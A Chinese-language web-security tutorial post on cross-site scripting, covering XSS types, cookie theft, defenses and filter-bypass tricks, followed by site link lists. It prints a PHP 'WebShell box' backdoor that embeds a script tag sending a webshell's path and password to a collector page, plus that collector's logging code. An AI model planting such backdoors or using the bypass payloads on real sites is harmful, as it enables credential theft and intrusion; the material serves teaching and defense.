渗透之路基础 -- 跨站脚本攻击XSS
漏洞原理及防御
XSS又叫CSS (CrossSiteScript),因为与层叠样式表(css)重名,所以叫Xss,中文名叫跨站脚本攻击。
xss攻击,主要就是攻击者通过“html注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击方式。
危害
可以盗取用户Cookie
挂马(水坑攻击)
在用户经常访问的网站,利用网站的漏洞植入攻击代码,访问者终端会被植入恶意程序或者直接盗取信息
蠕虫(需要结合CSRF)
局限性的键盘记录
防御
- 特殊字符HTML实体转码。最好的过滤方式是在输出和二次调用的时候进行加HTML实体一类的转码,防止脚本注入。
- 标签事件属性黑名单。特殊字符容易被绕过,所以还得加标签事件得黑名单或者白名单,这里推荐使用白名单的方式,实现规则可以直接使用正则表达式来匹配,如果匹配到的事件不在白名单列表,就可以直接拦截,而不是过滤为空。
XSS 原理分析:输出问题导致js代码被识别执行
漏洞产生:输出问题


又返回结果1,如果注入脚本代码

这就是一个简单的反射型xss
XSS 技术分类
反射性跨站(非持续型)
经过服务器,没有和数据库有交集
存储型跨站(持续型)
是直接写入数据库,保持持久性,经过服务器
DOM XSS
效果上说也是反射型XSS,但是这种XSS完全存在于客户端,不会经过服务器,直接和js拼接输出到页面
Cookie盗取
利用原理:
通过在评论区插入存储型XSS脚本,每次用户访问都会加载评论中的恶意脚本,导致本地cookie被发送到攻击者平台
拿到webshell后,修改登录成功后的页面,插入xss获取cookie的脚本代码
XSS平台
// 页面底植入xss代码
<script src=""></script> // xss平台中的脚本
基于Xss的WebShell箱子的攻击
通过在网站后台植入Xss代码将获取到的信息发送到渗透的网站中
help.php (后门)
<?php
// 正常的大马程序
// 植入Xss
$url=$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; // 百度查找相应的代码
// 输出获取到的大马路径和密码,发送到自己的渗透网站中,url值可以相应修改为xss跨站获取cookie的代码
echo "<script src=http://127.0.0.1/Webshell/index.php?u=$url&p=$password></script>"
?>
index.php (接受传来的信息)
<?php
$url=$_GET['u'];
$pass=$_GET['p'];
// 可以修改为写入数据库操作
$file=fopen('webshell.html','a+');
fwrite($file,$url);
fwrite($file,"<br>");
fwrite($file,$pass);
fwrite($file,"<br>");
fclose($file);
?>
模拟:
假设这是某黑客A上传的 带有黑客B植入的后门代码的大马,会将大马的消息发送到黑客B的WebShell箱子中


黑客B接收的盒子信息


这就是WebShell盒子入侵事件
如果将xss代码改为获取cookie就可以获取到权限


XSS相关防护过滤及绕过分析(参考链接)
https://www.freebuf.com/articles/web/153055.html
https://www.secpulse.com/archives/57411.html
防护:
- 关键字过滤
- 特殊符号过滤
- 字符串长度过滤
- 转义编码防护
绕过:
改变大小写
使用空白符
- %00
Hex编码
其他标签调用
Js自带函数
String.fromCharCode(88,83,83)转换ACSII码转换成字符绕过 alert(1) 被过滤
用eval函数执行,其中需要转换编码格式
将 alert 转换Unicode编码

实战知识点
通过闭合标签
首先闭合 无效

尝试再闭合上一层

可以弹窗
大小写绕过
双写绕过
换注入标签
添加定位符
#


渗透之路基础 -- 跨站脚本攻击XSS的更多相关文章
- 记录一次网站漏洞修复过程(三):第二轮处理(拦截SQL注入、跨站脚本攻击XSS)
在程序编写的时候采用参数化的SQL语句可以有效的防止SQL注入,但是当程序一旦成型,再去修改大量的数据库执行语句并不是太现实,对网页表单上输入进行校验是易于实现的方法.在webForm 页面中开启校验 ...
- 跨站脚本攻击XSS(二)——session劫持
转载自:http://www.cnblogs.com/dolphinX/p/3403027.html 在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小 ...
- 跨站脚本攻击XSS
跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到 ...
- 跨站脚本攻击xss学习
0.认识跨站脚本 举一个跨站脚本的简单例子. 假设一个页面将用户输入的参数直接显示到页面之中.(比如有如下代码) 在实际的浏览器中,在param中提交的参数正常会展示到页面之中.比如输入下面的URL: ...
- [Web安全之实战] 跨站脚本攻击XSS
Writer:BYSocket(泥沙砖瓦浆木匠) 微博:BYSocket 豆瓣:BYSocket Reprint it anywhere u want. 文章Points: 1. 认识XSS 2. ...
- java防范跨站脚本攻击(XSS)
网络中心提示网站有数目众多的跨站脚本攻击(XSS)漏洞,经过查看代码,认为是JSP中绑定变量是未经处理直接写入的,而且整个项目中这样的做法太多,因为是多年前的,不好一个个更改,参照网上资料,通过加fi ...
- 渗透之路基础 -- SQL注入
目录 mysql注入(上) limit 有两个参数 limit 2,3 表示从2开始查3条 通过MySql内置数据库获取表名 通过MySql内置数据库获取表名对应的列名 mysql注入(中) SQL常 ...
- 跨站脚本攻击(xss)理解
一 概念 攻击者不直接攻击受害者,而是利用受害者登陆的网站中的漏洞,对受害者进行攻击. 二 危害 由于js本身的限制,并不能直接对用户的电脑造成侵害,但是可以: 1. 获取用户的storage,c ...
- 网站安全系列:跨站脚本攻击XSS
本篇博文主要从概念和应用上介绍XSS,主要内容来源于<白帽子讲web安全> XSS核心本质 XSS实际上是一种HTML注入,用户输入的数据被当成HTML的一部分来执行.防御方法核心是输入检 ...
随机推荐
- Excel催化剂开源第26波-Excel离线生成二维码条形码
在中国特有环境下,二维码.条形码的使用场景非常广泛,因Excel本身就是一个非常不错的报表生成环境,若Excel上能够直接生成二维码.条形码,且是批量化操作的,直接一条龙从数据到报表都由Excel完成 ...
- Python教程资源
链接:https://pan.baidu.com/s/1zcCG4KJ8p4GI-x2c6PY2Ng 提取码:n2q2
- C语言入门5-键盘的输入和屏幕输出
C程序中的键盘输入和屏幕输出都是通过 调用输入/输出函数 实现的. 一.数据的格式化 屏幕输出 函数printf()的一般格式 (有两种) (1)第一种: printf(格式控制字符串): ...
- C#8.0 中使用默认接口成员更新接口
连载目录 [已更新最新开发文章,点击查看详细] 从 .NET Core 3.0 上的 C# 8.0 开始,可以在声明接口成员时定义实现. 最常见的方案是安全地将成员添加到已经由无数客户端发布并使 ...
- 微信小程序开发--页面之间的跳转
一.navigator--完成页面之间的跳转 1.新建一个页面文件夹 2.在app.json文件中引入页面 "pages": [ "pages/index/index&q ...
- django中ORM的model对象和querryset 简单解析
欢迎大家查看我的博客,我会不定时的用大白话发一些看了就能懂的文章,大家多多支持!如您对此文章内容有独特见解,欢迎与笔者练习一起探讨学习!原创文创!转载请注明出处! ORM是干嘛的? 介绍orm之前我应 ...
- 【微信小程序】微信小程序-实现tab
一.前言 小程序开发中,有很多封装好的控件供开发者使用,但是,很常见的tab选项卡居然没有,只能自己搞一个. 实现原理也很简单,无非是用给view(tab)设置一个点击事件bintap,并且给view ...
- Python基础总结之第五天开始【认识简单的条件语句,也可以叫判断语句】(新手可相互督促)
周五更新很累... 坚持,年薪20万又进了一步~~ python中的条件语句以[ if ]开头,条件语句成立时,运行该代码块,如果条件不成立,则跳过该代码块,执行后面的代码块. 简单的小示例: 输入性 ...
- spark streaming 接收kafka消息之五 -- spark streaming 和 kafka 的对接总结
Spark streaming 和kafka 处理确保消息不丢失的总结 接入kafka 我们前面的1到4 都在说 spark streaming 接入 kafka 消息的事情.讲了两种接入方式,以及s ...
- mybatis01-1测试
首先需要数据源信息和日志文件 然后一个SQLMapConfig.xml配置文件连接数据库并且映射后一个xml文件,另一个xml文件写入SQL语句, 最后text测试文件读取第一个配置文件,放到SQLS ...